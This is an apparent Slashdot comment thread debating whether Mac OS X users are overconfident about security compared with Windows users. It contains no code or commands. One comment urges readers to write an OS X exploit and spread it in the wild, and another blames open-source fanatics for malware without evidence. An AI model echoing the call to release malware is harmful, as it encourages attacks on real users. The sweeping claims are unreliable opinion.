You're dead wrong. Most mac users, like most other suers, have no interest in security. If it becomes an issue they will do something. One of the reasons I feel more confident on an OS X machine is that I know how many security experts are using them and I know a honeypot or IDS is going to find anything propagating in the wild really, really quickly. OS X has its issues and it makes sense to look for trojans and use good security practices, but out of the box, I feel confident in letting my mother run it and that just isn't true of Windows. Your opinion may differ, but we'll see whose mother has problems first.

Re:the camping tent allegory

[Macdude]

A couple of men went camping. They camped at a remote site, new to them, where they didn't really know everyone else who was camping there. After setting up, one of the men put a little, teeny tiny lock on their tent flap door. His friend looked at the flimsy lock and remarked, "That lock is nowhere near good enough to keep out anyone who might want to get into your tent! Why, I bet I could get through that lock in less than a minute.". The first man replied, "The lock doesn't need to be the best lock in the world; it just needs to be better than that guy's" -- and he pointed to the tent next door, without a lock at all.

That logic isn't valid. If I was going to break into a tent I'd break into the one with the lock, there is something worth protecting in it.

The moral? Security issues are very complex.

Re:the camping tent allegory

[MasonMcD]

His friend looked at the flimsy lock and remarked, "That lock is nowhere near good enough to keep out anyone who might want to get into your tent! Why, I bet I could get through that lock in less than a minute."

A minute? Christ, what a pussy.

Scissors. Two seconds. Who the fuck puts a lock on a tent?

too smug about security

[iMac Were]

Security?!? Mac users are too smug about everything.

Mac virus writer?

[iBod]

I imagine they are pretty few and far between.

I've always understood the motivation of virus/trojan writers is either make a 'name' for themselves amongst their peers or to profit illegally in some way (by stealing information, creating botnets etc.).

If these are their primary motivations, they are going to go after the the biggest user base and the software environment with the most potential points of weakness (i.e. Windows).

Windows has a massive codebase and the goals of flexibility, backward-compatibility and ease-of-use also add to the potential 'exploitability' of the platform.

Viruses, worms and trojans can (and have) been written for every flavor of MacOS and *NIX, but what's the point, other than for proof of concept? Like advertisers, virus writers go for maximum exposure, and right now, that means Windows.

I don't automatically knock Windows at every turn and I think, on the whole, it does its job very well. But it's the 'weakest link' principal. With such a large castle to defend, there are many more points of vulnerability. The WMF exploit (a legacy code weakness that was never properly reviewed) points this up nicely.

If I were some kind of no-life blackhat, or a criminal, I wouldn't be wasting my time targeting OS-X or Linux when there are far more lucrative prospects.

Re:Mac virus writer?

[dirty]

Show me some documentation of a real Mac OS X virus (not OS 9 or lower, OS X). What do you think would get more attention, yet another Windows virus, or the first Mac OS X virus seen in the wild?

Re:Mac virus writer?

[deesine]

I'll just chime in with the above poster and point out the other possible reading of your logic, "Like advertisers, virus writers go for maximum exposure."

Agreed. So don't you think the hacker who writes the FIRST virus for OsX would get front page coverage?!

Re:MacOS X itself?

[gabebear]

Are you arguing that Windows is safer??? It may just be that Windows is targeted more, but Windows is definately a sess pool of all kinds of malware.

What exactly are us Mac users supposed to be doing about viruses that don't exist yet?

where have all the virii gone?

[legalize.ganja.now.]

> How many people on Slashdot actually run anti-virus software on their Linux boxes? 5%?

i let antivir check incoming mails for virii (yeah, grammar nazis, spell that!) and i'm a little bit disappointed because i had only one positive in ~2.5 years although i'm getting ~ 100*spam/day

Re:where have all the virii gone?

[Anonymous Coward]

virii (yeah, grammar nazis, spell that!)
"Viruses."

user privileges are overrated.

[Anonymous Coward]

what user owns all the documents you create?

Mod Article down

[isotpist]

To paraphrase a mediocre movie, Show Me the Virus!
There are no known viruses for OSX, there are theoretical exploits and we may not be safe forever, but today there are no known viruses for OSX. these articles are always theoretical. I can copy a PC vrius with my mac, I can open a MSOffice Macro virus left over from the 1990's (those don't do much damage anymore), but I can't run and propogate a virus on my OSX machine.

Re:MacOS X itself?

[DannyO152]

I certainly do not think that I am immune in any sort of percentage. I have a limited understanding of how security is implemented and some, but minimal, knowldege of how to make my machines locked down.

I understand that by connecting to the internet and by using darwinports and fink in order to add applications to my machine I have opened up significant vectors for mischief, though independent checksums mitigate that risk to a degree. I understand rationally that there is only so much the operating system and applications writers can do for security and the rest is up to me.

But, I don't accept that operating system security should be a required after-market accessory. And, when you look at systems by Microsoft, Apple, FreeBSD, NetBSD, OpenBSD, RedHat, Novell, Debian, etc., who seems to be uniquely arguing that it should be.

So, am I immune using my Macs. Nope. Based on my understanding of how security should work and my observation as to what is actually getting infected, I still feel safer using Macs. I'm prepared to reassess that position as soon as new information arrives.

Define "bang"...

[interactive_civilian]

nkntr wrote:

Virus writers are after the most bang for their effort, and it logically follows that WIntel products will be the brunt of their efforts

I guess if you define "bang" to be the highest number of affected systems, then you are right.

But, if you define "bang" as the most publicity for your exploit, then surely there must be something to authoring the first MacOS X virus and managing to get it spread in the wild. Granted, there is the security through obscurity/low market share, but come on. I imagine if someone managed to write a successful virus or worm for OS X and got it to spread, every news agency would report it (since they report just about anything Apple, and something like this would be big), every "geek" site would cover it like mad, the blogsphere would go just about crazy, etc.

Certainly, that is worth a significant amount of "bang", isn't it?

Re:Define "bang"...

[zippthorne]

Hmm. I liken this to the wikipedia "research" that's been going on. Since everyone can contribute, there are now two choices when you notice a flaw or vulnerability.

So, as an analogy, you research flaws in wikipedia articles, and you could publish those flaws in some other medium, but what kind of person are you if you leave the flaws in?

Re:MacOS X itself?

[Seanasy]

So again how is it a safer OS if these exploits existed in the first place?

Because most weren't critical vulnerabilities and there are no exploits. Show me an exploit for a Mac OS X vulnerability. Now, show me one in the wild. Can't? The only thing you have to do to wipe the smug look of a Mac users face is to release an exploit in to the wild. Go ahead. What are you waiting for?

If just one person who thinks Macs are just as vulnerable as PCs would just write a worm/trojan/virus, we could end these f*@&!#g trolls and all agree that security is hard. Really, please, someone write an OS X exploit and spread it. Make it benign if you're uncomfortable with writing viruses. Just get something out there.

I'd like to see it just so people will stop using the lame "there are more Windows PCs" arguments. I'm sorry but this whole issue has gotten so blown out of proportion that the first person to show a really bad Mac vulnerability with an exploit would be on every geek blog and quite possible the NYT. You'd be f*@&!#g famous.

Smugness will bite you every time

[NorbrookC]

I think the key part of this article is dead on. That Mac users are assuming that they're secure because of their OS. I'm even seeing it here. "There hasn't been a virus for Mac OS X!" and so on.

The present "Security by obscurity" is not an excuse for not paying attention to security! I'm an "old geek," and I can remember people telling me back in the early '90's that they couldn't possibly have a virus, since they were the only person who used their computer. That was just before I found and cleaned an astonishing number of BSV's and file viruses off their computer. "Oh, the kids' were playing games with their friends!"

There's an old saying that holds true here: "When you assume, you make an ass out of U and me." Assuming you're secure just because you're running Mac OS, Linux, or even Amiga (yes, it's still out there!), without paying attention to security is a sure way to get bit - which is what is going to happen, sooner or later.

Re:Smugness will bite you every time

[Smuffe]

Show me ONE virus, Trojan etc. for the Amiga in the recent years... Oh, wait, never mind...

I get non Windows security email alerts a lot

[gelfling]

I get regular security vulnerability email alerts all the time. Just today there was a long list of potential problems with 10 different flavors of Linux, HP-UX, Cisco, OS/400, Z/OS and of course Windows.

Now the issue is, how bad is that? And the other question is what is the cost - benefit of fixing it?

Many of the vulnerabilities in the alert I alluded have the potential to be serious enough to warrant your attention but this assumes that you already have NOTHING in place to protect yourself, that you've effectively not implemented any security infratrature whatsoever. The probability of this is quite low.

But - and this is the big issue with Windows, your exposures surface out of EVERY SINGLE ordinary everyday common task you employ the machine to do. It would be as if every Cisco vulnerability surfaced specifically and only when it routed packets and only because it routed packets.

Therein lies the difference.

In the Mac world, no one is seriously suggesting that their BSD based OS is defacto immune from problems. What they're arguing convincingly is that those problems when they arise will arise out of non common tasks and obscure problems that typically stem from operating your machines in a very nonstandard way to begin with. For instance the ordinary Mac user could, if they were motivated, run as root all day everyday. But why would they? That's a nonstandard operation mode. Moreover the common problems you do see in the Mac world won't ordinarily occur because of executing common tasks that ordinary users employ their machines to do. You won't see many vulnerabilities exploited the same way that simply using AOLIM or Limewire or reading a rich email or any of the other innumerable problems in Windows stems from.

Re:One product stops mac PCs from getting infected

[Zathrus]

There's no substituting an OS that doesn't let the average user have administrator rights all the time

Yes, because as we all know the really valuable data on the computer is the OS and installed programs. You know, the stuff that can be replaced in a few hours.

All that user data that's completely and utterly irreplacable? Worthless. Who cares if a virus or trojan destroys it? And it obviously doesn't matter if a keylogger running in userspace sniffs out all your bank passwords and sends them to a 3rd party (what, you don't need admin privs to open a socket?!?!), because, hey, the OS itself is still secure!

The amount of real damage that a virus, worm, or trojan can do is not substantially affected by whether or not it can get administrator privledges. It may be easier to remove, but that's about it. And, frankly, if your average user runs in a lower privledged account then they're likely to get used to typing in the admin password when prompted, without even thinking about it.

And that's what it ultimately boils down to -- the user. Clueless users will get hit by crap all the time regardless of the platform. Clued users will not, again regardless of the platform. I've been using PCs for over 20 years now, most of that time on DOS or Windows (although I've also used OS/2, Linux, FreeBSD, Solaris, and several others) and I've been hit with a virus exactly once -- and that was about 18 years ago. It infected very little too, because I was running a virus scanner that caught it quickly (back in the days when McAfee was free(ish) for personal use). Nor have I ever had to remove spyware, malware, etc. on any of my personal or work systems.

OS X has a rather high percentage of non-technical users, just as Windows does. Do you really think that they're immune to doing stupid things?

OS X is not "obscure",the important bits are Open!

[mstroeck]

"The present "Security by obscurity" is not an excuse for not paying attention to security!"

Sorry, but what the fuck are you talking about. Mac OS X is based on decades-old BSD code, substantial parts of the core OS are open source and you can go right ahead and look at them over at the Darwin project. How's that for "obscurity"? Cocoa, the API for developing OS X apps has been around in one form or another since NextStep and is fairly mature, as well. The parts on top of Darwin are _extremely_ stable and so far, haven't been exploited one single time.

Give it time

[Beefslaya]

When 95% of workstations and home PC's run Windows, why waste time writing a virus for an operating system that only holds 5% market and won't give you ultimate root or stores system files separate from the user files?

Windows is such and easy target./p?

A tale of two cities....

[Trelane]

There might be some insight provided by an analogy. We assume that any city (OS) is innately just as crackable (crime-ridden) as any other, and that people generally pack together in a city (this allows us to remove non-uniform population densities such as suburbs and things).

While there are definitely advantages in living in a huge city (public transportation, events that you can't get in a smaller town, etc.), there is (at least) one huge disadvantage, i.e. crime. Crime is (generally) proportional to the population density of an area. That is, for the sake of our analogy, the more dense a population, the more services and features offered for that population, but the more crime occurs.

So you have WindowsTown, a huge megacity that dwarfs even the next largest town by orders of magnitude (MacCity), and which offers many amenities that are not found in other cities, but there is an enormous crime problem in that city. So much so, in fact, that just about everybody has armed guards with them at all times, and every apartment has the equivalent of a bank's security system. In fact, the problem is so bad that WindowsTown's city government, run by the illustrious billionaire William H. Gates III, is instituting a crackdown on crime and terrorism by controlling what everyone can do in WindowsTown (the project is codenamed Palladium). This will likely help enormously with the crime and terrorism problem, but civil rights groups are concerned that the system will be abused to the advantage of the current government and its allies (generally very large businesses), at the expense of the average consumer and smaller parties and businesses. The citizenry of WindowsTown might be somewhat concerned about this new program, but generally haven't heard much about it at all (aside from Gates' promise to end crime and terrorism, which, of course,resonates with them). They may know that there are other cities out there, but are concerned (and somewhat rightly so) that their prefab house in WindowsTown will be hard to move to another city, and that their car (which, like their house, was designed from the ground up to run in WindowsTown and which will likely not work in another city!) will no longer work. So, if they even know about other cities, they are generally afraid of leaving the "comfort" of WindowsTown, so they stay, the population stays up (despite the crime which, given a citizenry not bound to any specific city, would cause many to leave such a crime-ridden city!), and the crime rate stays up.

Additionally, we have MacCity, which has a good-sized populace. It's the second largest city on Desek Topia Planet, but has a very, very small slice of the total population of the planet. It is almost completely crime-free, and has a pretty good public transportation system, and you can even (somewhat often) get to see a good number of the more popular concerts and shows from WindowsTown. One of the most popular models of car ever--made by Mayor Gates' company--has a model that is pretty close to the WindowsTown version (but requires a separate purchase, of course). Many from WindowsTown argue (and possibly rightly so) that MacCity is so crime-free because it's so small, and use this to justify why they won't move from WindowsTown to MacCity. Those in MacCity, however, generally disagree and argue that the architecture of MacCity itself prevents crime. This is a great source of debate, but it remains mostly academic, as the vast majority of WindowsTown residents

As a side note (which, notably, very, very few from WindowsTown knows about), there is the Federation of Leenucks. It is a federation of a number of cities which call themselves "distributions." Reports on the FoL back in WindowsTown and MacCity varies widely between it being a gleaming utopia (complete with flying cars!) to a complete breakdown of law and order, wild-west style. There's certainly almost no crime in the FoL. However, th

Re:A tale of two cities....

[Trelane]

as the vast majority of WindowsTown residents

should read "as the vast majority of WindowsTown residents feel extremely bound to WindowsTown, and are afraid to leave.

Re:A tale of two cities....

[Anonymous Coward]

One problem with your analogy: in the real world, NYC is much, much bigger than my city (Boston) Yet the crime rate is significantly lower (NYC is actually the safest major city in the U.S.) So maybe the real difference is that the Mac runs with the NYPD, while Windows has Keystone Kops like the BPD...

indefensible smugness?

[SumoRoach]

While no system is 'secure', I think it's certain defensible to say that one OS is more secure than another when there are no viruses for the Mac and every other week or so, there's a CERT Advisory about some virus that will "allow a remote, unauthenticated attacker to execute arbitrary code or cause a denial of service". The last Advisory was for a Quicktime vulnerability, but these are advisories, not viruses. (i.e. advisories about a vulnerability for which a virus can be written.)

So, there are vulnerabilities. Apple fixes these and pushes out patches, just as RedHat, Sun, HP do for ssh, bind, So, it's wrong to say that the Mac is invulnerable, but I certain feel a sense of smugness to have an OS that hasn't had a virus written for it.... yet.

Easy KILLS!

[SmallFurryCreature]

Cars. While car safety is going up the number of accidents is not going down as expected. Deaths are but that could easily be caused by improved healthcare. So what is happening? Well while cars have become safer and safer they also become easier to drive, or rather they haven't become easier to drive at all but they are seen as easier to drive.

Nobody would take a T-Ford to 180 km per hour at night. The latest BMW? No problem. Usually it ain't a problem. Except when it does wrong and modern tech is asked to keep the human body safe when 2 tons of metal loose traction and meet a bridge support.

There are some road safety expert who suggests that one of the dangerous developments is quiet cars. In old cars you know your speed because the roar of the engine and the whistleing wind grow intollerable. The latest cars however remain very quiet and can really distort your sense of speed. If you ever been on a highspeed train or worse an aircraft you know the feeling.

So how does this relate to computers? Simple, a lot of the bugs, activeX on windows and that widget thing from the article that affected OS-X are there to hide the difficulty of driving. Just as a modern car reduces the feedback so do solutions that allow software to be installed with no or minimum interaction.

That whistle of the wind, the roar of the engine, the wheels almost loosing traction are the feedback signals to tell me I am going to fast, slow down before you loose control.

Same with install screens. The more invasive an install is the more warnings it should throw up (just as driving to fast on a bad road will feel worse then driving to fast on a good road). You want to install a program that only runs for you, installs no hooks and does not modify anything or communicate with anything? Just 1 screen. It installs for you and allows writing to any file owned by you? 2 screens. It installs it self for you and allows writing to any file and runs in the background? 3 screens.

It is like those signs in bugs bunny comedies that tell him to turn back now, we mean it, really mean it, don't do it.

Computers ain't easy to use and if you get it wrong there is a pool of 6 billion people who are out to get you. Now like cars you can make computers very easy to use but then you better make sure you do not exceed the recommendanded maximum usage. You can drive a car with total lack of feedback perfectly safely. At about 5 miles per hour. You can have a computer with 0 click install software perfectly safely, just limited to microsoft.com/apple.com

As long as software makers keep making things easy and users keep accepting it we will have people getting it wrong. Just like every day somebody gets it wrong with their car and crashes for no other reason then that they misjudged the ease of use.

I have only once been affected by a virus and that is a machine I was given pre-installed and I discovered it and was given the task of cleaning up after figuring that all the machines in the office had been affected.

Am I brilliant? No. Am I social outcast who doesn't get the latest virusses in his email box? Yes. But mostly I do not accept an easy to use computer. I want to speed (download porn/warez) and know that the price for that is that I gotta be in complete control of my computer. Just like F1 drivers are in control of their car (except they get chicks and money for it).

True Problem?

[Anonymous Coward]

I haven't seen anyone mention the profile of those who write these malicious programs. They come from the open-source fanatics who think they should own the world with their free software. They use malitious tactics to destroy the 'competition' and then brag about how their open source apps are secure. NEWS FLASH they aren't going to write malitious software that hurts their own work!!!
Also remember that Mac OSX is based on BSD...open source software. It will remain secure as long as BSD is secure. Yes there are malicious programs out there that will attack MACs and *nix products but these are typically aimed toward the web servers and are more attacking the Internet than a specific OS.....

I do realize that my 'profile' is not 100% accurate but think about it, who else would have the expertise and knowlege to write such things?

No real protection from common attacks

[AnEmbodiedMind]

Windows still has no way to stop these things, whereas OS X/Linux/*BSD are designed from the ground up to be immune to the kinds of attacks that Windows gets constantly pounded by.

Most of the viruses I see use social engineering to trick the user into opening an application. That application then uses the user's contact list to send itself to everyone they know. The virus might then have some side effects on your system. (e.g. deleting all your personal files)

OS X is in no way "immune" to that kind of attack, and a user can still find themselves hit, their friends hit, and all of their personal files deleted.

What OS X DOES have is protection against the virus digging deep into the system because of OS X's clean authenticate to administrator model. However, most of the damage can already be done with user privileges.

Re:No real protection from common attacks

[Anonymous Coward]

What OS X DOES have is protection against the virus digging deep into the system because of OS X's clean authenticate to administrator model. However, most of the damage can already be done with user privileges.

Same thing in Windows XP - simply create users with limited privileges, and one that is part of the Administrators group, who can actually do stuff. The problem is that the default installation grants administrative privileges.

Other than that, perhaps people should use a secondary account for browsing and IM, since that's where all the nasty stuff appear to happen. That, and stop using Outlook :)

Re:No real protection from common attacks

[WindBourne]

Most of the viruses I see use social engineering to trick the user into opening an application.

Ok, *nix occupies about 10% of the desktop. Considering that nearly 100% of the virus are from Windows, are you trying to argue that Mac,Linux, and BSD Users are just that much brighter than a Windows user?

Re:No real protection from common attacks

[ElleyKitten]

>>are you trying to argue that Mac,Linux, and BSD Users are just that much brighter than a Windows user?

Well, they aren't using Windows, they have to have some brains. :)

Re:No real protection from common attacks

[epee1221]

With a certain user's unwitting permission, any system can be hit. Social engineering is not a vulnerability that is part of the hardware or software - it's part of the person who uses it.

You're missing the point, but that's OK, really!

[mstroeck]

You very obviously didn't read the article you just linked to (or my post, for that matter). I am talking about _actual_ exploits, not something that a very, very obscure "security research firm" reportedly "received by email" but won't show anybody because whatever. Something that might hit me or you. Something that has significance beyond using it in silly slashdot discussions.

I'm not saying that OS X is perfect, I'm saying that SO FAR, you shouldn't waste time and money on virus protection. Do regular backups of your important data, that is MUCH more effective and protects against other disasters like hardware malfunctions, loss and theft, fire and stupidity.

Re:MacOS X itself?

[TheNetAvenger]

.P.S. You dont even know how computers work do you? what are you doing here? a mac virus that erases the hard drive? Macs dont even run in root 99% of the time!!!

Ok, going to skip over the bloviating crap, and address a few very important issues.

Just because the USER does not run as root by default on OSX, does not mean that an overflow or other type of exploit could not gain access to protected areas and execute at the root level.

Go read the Apple security bulletins, they actually explain this fairly well even for non-tech people.

Secondly, do you realize how easy it is to get a Mac user to type in the root password when installing software, and giving a trojan full access to the system? This is something our security people actually use to demostrate the user element in security to companies.

95% of the time, the average Mac Employee gives the fake virus full control when asked to do so, and we issue the root password request very blatently, when it could be embedded into a series where the users normally expects to give root access to the OS, which increases the % of users that give the virus control of the system at root level.

Thirdly, even if a virus is not running as root, it can still delete everything in your user folders, you know, all the documents you created. This is usally important to users for some strange reason.

As for my knowledge of computers and security, figure that out for yourself...

Here's the answer

[Anonymous Coward]

"Is he right, and what actual products exist for OS X that would protect against infections?"

OS X

If it's such a problem

[netglen]

If it's such a problem, how come Virus companies haven't been creating viruses on the sly to drum up Mac business?

what's the recommended course of action?

[Anonymous Coward]

after RTFA, i can't figure out exactly what the mac user is being told to do other than stop being smug. is it that the firewall should be used and system scanned on occassion? is that it? i know mac users who do that already and yet still feel smug. frankly, i don't see how you can ever get mac users to not feel smug until they face a real problem as opposed to a possibility for a problem for which a patch is available prior to it becoming a reality. seems like if people want mac users to not feel smug, they should stop reading /. and work on producing some exploits to prove their case.

Not bulletproof, but not naked either

[UttBuggly]

Well, while some Mac users ARE pretty smug, I don't feel their faith in OS/X is completely misplaced.

I've been writing code since 1971 and have made money testing security.

As an exercise, I wrote "Plan 9", a UNIX-specific viral application. I turned it loose in a lab containing SCO UNIX, IBM AIX, some Windows machines, a Mac running Finder, a Novell file server, and some NeXT machines. All the systems were on the same subnet and had NFS mounts to each other.

Without specifics (and don't ask...I won't say), the virus was designed to disable login capability...a basic, but effective denial of service attack.

The SCO and IBM machines were toasted. Everything else was unaffected. Now, the NeXT boxes are NOT identical to today's Mac OS, but similar.

I haven't dissected OS/X (yet), but I would guess it's not an easy target. Could someone write code that would rape and pillage a Mac? Absolutely...nothing is bulletproof. But, some things are easier....like Windows...so the Mac community may have some justification in feeling more secure.

FWIW........

Dead off

[bradleyland]

What Bill Thompson fails to point out is any kind of real solution. Virus scanners are mostly reactionary. They scan computers for known virus signatures. Without any known viruses, there's nothing to scan for. What the hell do we do? Even if every Mac user ran a virus scanner, there wouldn't be any "herd immunity", because any virus that comes on the scene will be entirely new.

Re:Dead off

[TClevenger]

What Bill Thompson also fails to point out is that Windows and Linux users are just as smug about security. Ask any random Windows user, and chances are, they're running in an Administrator context, with no (or simple) password, Firewall off, no NAT router, no antivirus software, no antispyware software, no Windows patches and think they are perfectly safe.

Mac users are more dedicated then christians

[Anonymous Coward]

I think the answer for lack of mac viruses is quite simple. Besides the fact that 95% of the world uses windows, mac users love their computers too much to want to write viruses for it. If anything, they would be writing windows viruses to try to convert windows users to mac. I mean seriously...on average, the mac community is more dedicated than the christian community. I have never met an apple user who hasn't actively tried to convert me.

Of course this leads to the larger question...are mac's safe. I don't really think so. It's safer than windows right now for sure, but I am interested to see the comparison againist Windows Vista.

Re:One product stops mac PCs from getting infected

[nagora]

The amount of real damage that a virus, worm, or trojan can do is not substantially affected by whether or not it can get administrator privledges.

My brother has an older iMac with five user accounts on it, so if one user gets a virus then only 20% of the user data is at immediate risk (no one in the house knows the admin password - that's my job as family IT guy).

So, in this case, not having admin privledges reduces the damage by 80%. Is that not "substantial"?

TWW

Mac users are too smug about security

[cunamara]

I've used Macs since 1986 and I think we are far too smug about virus, trojans and other malware. We think that we are invulnerable, and someone is going to write up a nasty little piece of software that's gonna get us. No doubt about it, and it could even be today. Who knows? There are a number of proprietary antivirus packages (Virex, etc) but there is also a free tool- clamXav which has a Cocoa wrapper around the clamav package. It's not fully integrated yet, e.g., AFAIK you can't automatically pipe e-mail through it from Mail.app, but it's a start.

OS X is not "obscure",the important bits are open

[mstroeck]

I already said this in reply to another post, but I'll say it again: OS X is not "obscure". The core OS is open source software (called Darwin) that is based on decades-old BSD code. Cocoa, OS X's most important API has been around since the NextStep days. The stuff on top of Darwin has so far never been successfully exploited, and there has to be some reason for that.

NO different than windows users

[pvera]

Both Windows and Mac users are blissfully ignorant of proper computer security. Just because *you* give a crap about installing your updates in either Windows or Mac doesn't mean the other 99% of the users do.

This is a 100% mac office. Every workstation here is a mac. There is one lousy windows box left, a web server being phased out and replaced with a LAMP solution. Everything else on the server side is either OS X, freeBSD or Ubuntu. Does that mean my users here know about virus scanning and installing patches as soon as they are available?

Hell no!

They still do the same dumb shit that Windows users do in every other company. They:

1. Ignore automated patches.
2. Disable Virus scanner DAT file updates (yes, we run a virus scanner on our macs).
3. Disable Word Macro protection, then whine when they bring a macro virus from home and infect the other 5 idiots that also turned off the macro protection.
4. Keep 500 (no exaggeration here) spreadsheets on their desktop, then don't at least turn on the auto-arrange, so all 500 spreadsheets (About two years worth of work give or take) are now stacked on top of another.
5. Email 100 MB MP3 recordings of teleconferences, then bitch when the mail server dies.

Etcetera.

These people are no smarter or dumber than the windows users that I have had to work with over the last decade.

The only real difference is that they don't get as many crashes as windows users, so whenever something goes wrong they completely freak out and have a panic attack.

Somehow I like...

[Kaihaku]

My operating system to handle the security part without having to download... Another Browser... Anti-virus software... Anti-spyware software... All of which only partially work. It doesn't excuse stupidity but being cautious in what I download...not to mention having Little Snitch...leaves me feeling rather secure. I like not needing an anti-virus program, keeping my updates up to date and I feel pretty good. Overconfidence or just confidence in a good product...not for me to decide.

Two Stories

[NardofDoom]

I made my mother-in-law buy an eMac. I didn't want to have to support the thing. The only trouble she has is that she doesn't run permission repairs as often as she should, but since I've turned on SSH and can run them (and software update) remotely, this isn't really an issue. She's had it for over two years and hasn't had a virus or spyware problem. (Though she gives out her email address freely, and gets a ton of spam, but Mail's filter is quite good at catching it.)

My dad bought my niece an HP laptop for Christmas. The next day, I was installing some software (Firefox, AdAware) and got a pop up for "cheap mortgages". She was fiddling with it for all of three hours on Christmas day and got spyware.

Yes, I realize that these are anecdotal stories, but they're pretty typical of the experiences most tech people have in their families.

But, as someone posted earlier, if Macs are 5% of the computer market, why aren't 5% of the viruses and spyware on Macs? That would be tens of thousands, not a few dozen.

Re:Two Stories

[RexRhino]

[quote]But, as someone posted earlier, if Macs are 5% of the computer market, why aren't 5% of the viruses and spyware on Macs? That would be tens of thousands, not a few dozen.[/quote]

Because, like all things, there is a sweet spot where writing spyware becomes economicly viable. You are only going to write spyware/adware for platforms where your returns are going to be at least equal or greater than the cost of developing and deploying the spyware.

Mac usage has not yet reached economic viability for spyware/adware.

Re:Two Stories

[jridley]

if Macs are 5% of the computer market, why aren't 5% of the viruses and spyware on Macs?

Because someone has to develop the virus, and there are two main reasons people do that:
1) to be famous / 'leet
2) to make money (selling botnets)

If you're going to put time into developing a virus, you gonna target the 4% market share OS, or the 90+% market share? Even assuming some Mac vulnerabilities, it just doesn't make sense to not shoot the easier target, when the payout is 20X as big for hitting the easy target as the harder one.

Re:Two Stories

[Zathrus]

But, as someone posted earlier, if Macs are 5% of the computer market, why aren't 5% of the viruses and spyware on Macs? That would be tens of thousands, not a few dozen.

For roughly the same reason that, in a society where most people are given immunizations as a child, the people who don't have the immunizations don't all get infected anyway.

The vast majority of people are running Windows, so the virus writers target that group. It's just not worth targeting the smaller groups of OS X or Linux -- there's too few machines running them to be worthwhile. If I was a virus writer then why should I bother with such a small target? Even if I infect 100% of the target systems, worldwide, then it's fewer than infecting 10% of the Windows systems worldwide (and, actually, it's probably worse than that -- you'd get roughly equal numbers with 100% vs 5-6%).

Now if the percentage of OS X or Linux systems reaches some critical threshold -- generally around 10-20% -- then it may become worth their time to target those systems. You could be reasonably assured that for any given attack you'd actually have some success.

And to return to the analogy, if a society's immunization rate falls to around 80% then you start seeing infection outbreaks again. Take a look at Great Britain for a recent example.

Re:Two Stories

[brkello]

Why? Why catch a tiny fish when you can catch a large one? I am totally with you about having clueless family members getting Macs...it was a great move for my mom. My dad on the other hand has had no problem with his Windows box because he knows what he is doing. But the whole 5% comment is a strawman. Mac users should practice better security. It will bite them in the ass someday (well, it will bite the people who get stuck fixing the problem).

Windows Users will Say It's Easy...

[woolio]

The windows users state that they don't need to run as administrator, but then ask them what hurdles they have to go through to make their software "just work".

Well, I can see Windows users saying the whole problem of running apps under an account other an "Administrator is actually a very easy one.

3 Easy Steps:

1) Create account named "NotTheAdministrator"
2) Add it to the "Administrators" group.
3) Change all programs running as "Administrator" to run as "NotTheAdministrator"

All the convenience of the existing software without any of it running as Administator.

Re:Windows Users will Say It's Easy...

[Anonymous Coward]

What idiot would run Windows as an Administrator; Power Users would be the equivalent.

Perhaps the Question Shouldn't Be...

[Greyfox]

Are Mac users too smug in the assumption of their security. Perhaps the question should be, why do Windows users accept as normal the idea that they have to run several third party programs in order for their system to be even remotely secure? Microsoft could do a lot more to make their system secure right out of the box. They could do a lot to discourage the bad security habits that makes spreading assorted crapware so easy on their systems. They could do a lot to instruct new users how to keep their system safe and secure rather than just letting them figure it out on their own. They do none of these things.

I think a user should have the right to expect that he can plug his brand new spiffy computer into the Internet without having it infected with some crap within a matter of minutes. I think a user should have a right to expect that his computer is secure without having to run 5 separate security products on it at all times. I think a user should have a right to expect that he can open an email or web page he hasn't visited before without the fear that his computer might be taken over. I think that if your operating system does not live up to these simple measurements, you have failed as a software company.

bubble

[Anonymous Coward]

Security "professionals" work the same way as insurance salesman. They prey on your fear on something that could happen. Things could happen with malware on OS X. Things do happen all the time with malware on Windows. There are approx 800,000,000 Windows users apparently, and 30,000,000 OS X users. Is 30,000,000 clueless Mac users not a tempting target for malware writers? What about 30,000,000 smug Mac users? Perhaps they too fear our smugness. Works for me.

Complains but doesn't suggest solutions

[Anonymous Coward]

Speaking of smug, the author of this article seems only interested in criticizing Mac users and showing off the fact that he knows what "herd mentality" means. If he's really that concerned, would it have killed him to mention a few security tools (e.g. virus checkers, spyware scanners) that might solve the problem of poor security due to smugness? As far as I could tell the only suggestion was "use the built in firewall"... how insightful!

Wil Shipley doesn't have herpes!

[Anonymous Coward]

Shipley put's the virus situation in an interesting perspective:

http://wilshipley.com/blog/2005/09/mac-os-x-viruse s-put-up-or-shut-up.html

We don't have virus, we're virus free. For now.

inherent vs. reactive security

[ummit]

what actual products exist for OS X that would protect against infections?

I don't think this is the right question. No OS has perfect security, but if you need add-on products to "protect against infection" it's likely that there's something fundamentally flawed with the architecture of the underlying system. Anything that the add-on product can do is somethng that could and should be done by the the underlying system.

The current "state of the art" (or at least, the art that gets all the attention) in virus protection for the "majority" OS involves scanning for patterns of known viruses. But of course, that's a reactive, close-the-barn-door-after-the-cows-have-gone approach. Even if your antivirus software is 100% up to date, there's still a window of vulnerability between the time a new virus is introduced and the time a new detection pattern for your antivirus software becomes available. You could get infected during that window, and the damage and expense that would result (lost data, necessity for complete wipe and reinstall) is just as great as if you had no protection at all. In fact, if you do a system-wide "virus scan" using a conventional antivirus program, and if it detects one that's somehow managed to install itself on your disk, you ought to do a complete wipe and reinstall anyway. No fun.

Yes, as a Mac (and Linux) user, I am smug about security. I'm not necessarily 100% invulnerable, but the immunity I have is based on solid, fundamentally good OS design, not a patchwork of kludges and an unwinnable arms race. And I reject the FA's implication that I'm somehow being lazy or irresponsible by not doing more than this. The notion that security is and must be the ongoing responsibility of the end user is one of several dangerously false ideas which has been foisted on the world by That Other Operating System. Once I've selected a properly-designed product, and as long as I keep it up-to-date with security patches, my job is mostly done. If I and millions of other mere users are supposed to do much more than this, if our security depends on (say) our being vigilant in never clicking on unsafe attachments or on installing and maintaining add-on security products which try to reactively do what the underlying OS can't, then we've got an untenable situation which will never be secure.

Too "smug"? Just "smug" enough? Not "smug" at all?

[gordguide]

I think you would find all three levels of "smug" amongst Mac users, amongst Linux users, and even amongst Windows users, seeing as how we have plenty of issues in the wild that target Microsoft desktops and laptops. OSX is not particularly "good" against malware; it's more like Windows is particularly "bad", and 99% of the Bad Windows is due entirely to Bill's Favorite OS being configured as vulnerable in a default install. This is a problem in the attitude and practice of the OS vendor, not the OS itself.

Were Windows to be more like UNIX, Linux, or OSX in only that one area, we'd all be more secure, and we could all be worrying about more serious vulnerabilities that go beyond attachments, nasty pictures and Active-X agents of doom.

